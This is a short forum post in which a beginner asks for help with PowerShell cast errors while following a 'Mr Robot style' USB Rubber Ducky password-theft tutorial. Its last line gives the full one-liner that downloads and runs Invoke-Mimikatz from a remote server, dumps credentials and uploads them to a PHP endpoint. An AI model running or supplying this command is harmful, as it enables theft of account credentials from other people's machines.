Hello everybody, I'm new to the board. I am new to programming and powershell is giving me an error with the Mr Robot command. Any help would be great. Here is the error.

Specified cast is not valid.
At line:2179 char:7
+         if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException

Specified cast is not valid.

+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (:) [], InvalidCastException
    + FullyQualifiedErrorId : System.InvalidCastException

 

I am also trying this on Win10.

Sorry for being so bland. My fault.

So I was following the "15 Second Password Hack, Mr Robot Style" instructions for setting up my ducky and webserver. From what I can tell from the output of powershell, I am getting the 2 errors stated in my original post. They seem to be pointing to 2 different places in the invoke-mimikatz file (im.ps1) powershell script. I get the 2 errors above when I run,

powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('https://mywebserver/rx.php', $output)"
